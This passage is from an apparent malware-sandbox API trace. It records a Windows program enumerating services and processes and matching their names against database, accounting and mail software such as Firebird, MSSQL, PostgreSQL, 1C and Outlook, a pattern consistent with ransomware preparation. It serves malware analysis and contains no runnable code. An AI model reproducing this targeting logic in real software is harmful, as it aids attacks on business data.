(lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0118.589] lstrlenW (lpString="RpcSs") returned 5 [0118.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0118.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0118.589] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0118.589] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0118.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0118.589] lstrlenW (lpString="SamSs") returned 5 [0118.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0118.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0118.589] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0118.589] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0118.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0118.589] lstrlenW (lpString="Schedule") returned 8 [0118.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0118.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0118.589] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0118.589] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0118.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0118.589] lstrlenW (lpString="SENS") returned 4 [0118.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0118.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0118.589] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0118.589] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0118.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0118.589] lstrlenW (lpString="ShellHWDetection") returned 16 [0118.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0118.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0118.589] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0118.589] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0118.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0118.589] lstrlenW (lpString="Spooler") returned 7 [0118.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0118.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0118.589] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0118.589] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0118.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0118.590] lstrlenW (lpString="sppsvc") returned 6 [0118.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0118.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0118.590] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0118.590] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0118.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0118.590] lstrlenW (lpString="SysMain") returned 7 [0118.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0118.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0118.590] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0118.590] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0118.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0118.590] lstrlenW (lpString="Themes") returned 6 [0118.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0118.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0118.590] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0118.590] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0118.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0118.590] lstrlenW (lpString="TrkWks") returned 6 [0118.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0118.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0118.590] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0118.590] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0118.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0118.590] lstrlenW (lpString="UxSms") returned 5 [0118.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0118.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0118.590] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0118.590] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0118.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0118.590] lstrlenW (lpString="VSS") returned 3 [0118.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0118.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0118.590] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0118.590] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0118.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0118.590] lstrlenW (lpString="W32Time") returned 7 [0118.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0118.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0118.590] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0118.590] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0118.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0118.591] lstrlenW (lpString="WdiServiceHost") returned 14 [0118.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0118.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0118.591] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0118.591] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0118.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0118.591] lstrlenW (lpString="WdiSystemHost") returned 13 [0118.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0118.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0118.591] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0118.591] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0118.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0118.591] lstrlenW (lpString="WinDefend") returned 9 [0118.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0118.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0118.591] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0118.591] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0118.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0118.591] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0118.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0118.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0118.591] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0118.591] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0118.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0118.591] lstrlenW (lpString="Winmgmt") returned 7 [0118.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0118.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0118.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0118.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0118.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0118.591] lstrlenW (lpString="wscsvc") returned 6 [0118.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0118.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0118.591] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0118.591] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0118.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0118.591] lstrlenW (lpString="wuauserv") returned 8 [0118.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0118.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0118.591] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0118.591] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0118.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0118.591] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0118.594] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.594] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.595] lstrlenW (lpString="System") returned 6 [0118.595] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0118.595] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0118.595] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0118.595] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0118.595] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.596] lstrlenW (lpString="smss.exe") returned 8 [0118.596] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.597] lstrlenW (lpString="csrss.exe") returned 9 [0118.597] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.597] lstrlenW (lpString="wininit.exe") returned 11 [0118.597] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.598] lstrlenW (lpString="csrss.exe") returned 9 [0118.598] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.599] lstrlenW (lpString="winlogon.exe") returned 12 [0118.599] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0118.599] lstrlenW (lpString="services.exe") returned 12 [0118.599] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0118.600] lstrlenW (lpString="lsass.exe") returned 9 [0118.600] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0118.601] lstrlenW (lpString="lsm.exe") returned 7 [0118.601] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.601] lstrlenW (lpString="svchost.exe") returned 11 [0118.601] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.602] lstrlenW (lpString="svchost.exe") returned 11 [0118.602] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.603] lstrlenW (lpString="svchost.exe") returned 11 [0118.603] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.603] lstrlenW (lpString="svchost.exe") returned 11 [0118.603] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.604] lstrlenW (lpString="svchost.exe") returned 11 [0118.604] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.605] lstrlenW (lpString="audiodg.exe") returned 11 [0118.605] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.605] lstrlenW (lpString="svchost.exe") returned 11 [0118.605] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.606] lstrlenW (lpString="svchost.exe") returned 11 [0118.606] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0118.607] lstrlenW (lpString="dwm.exe") returned 7 [0118.607] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.607] lstrlenW (lpString="explorer.exe") returned 12 [0118.607] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0118.608] lstrlenW (lpString="spoolsv.exe") returned 11 [0118.608] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.609] lstrlenW (lpString="taskhost.exe") returned 12 [0118.609] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.610] lstrlenW (lpString="svchost.exe") returned 11 [0118.610] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.610] lstrlenW (lpString="taskeng.exe") returned 11 [0118.610] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.611] lstrlenW (lpString="taskhost.exe") returned 12 [0118.611] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0118.612] lstrlenW (lpString="fixwaves.exe") returned 12 [0118.612] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0118.613] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0118.613] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0118.613] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0118.613] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0118.614] lstrlenW (lpString="monsaver.exe") returned 12 [0118.614] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0118.615] lstrlenW (lpString="dosesugar.exe") returned 13 [0118.615] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0118.615] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0118.615] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0118.616] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0118.616] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0118.616] lstrlenW (lpString="nonprofit top.exe") returned 17 [0118.617] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0118.617] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0118.617] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0118.618] lstrlenW (lpString="accused.exe") returned 11 [0118.618] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0118.619] lstrlenW (lpString="governance.exe") returned 14 [0118.619] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0118.620] lstrlenW (lpString="old.exe") returned 7 [0118.620] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0118.620] lstrlenW (lpString="xi cg.exe") returned 9 [0118.620] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0118.621] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0118.621] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0118.622] lstrlenW (lpString="burlington.exe") returned 14 [0118.622] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0118.622] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0118.622] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0118.623] lstrlenW (lpString="buildings.exe") returned 13 [0118.623] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0118.624] lstrlenW (lpString="predictions_took.exe") returned 20 [0118.624] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0118.624] lstrlenW (lpString="carry_dns.exe") returned 13 [0118.624] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0118.625] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0118.625] Process32NextW (in: hSnapshot=0x1f8, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, 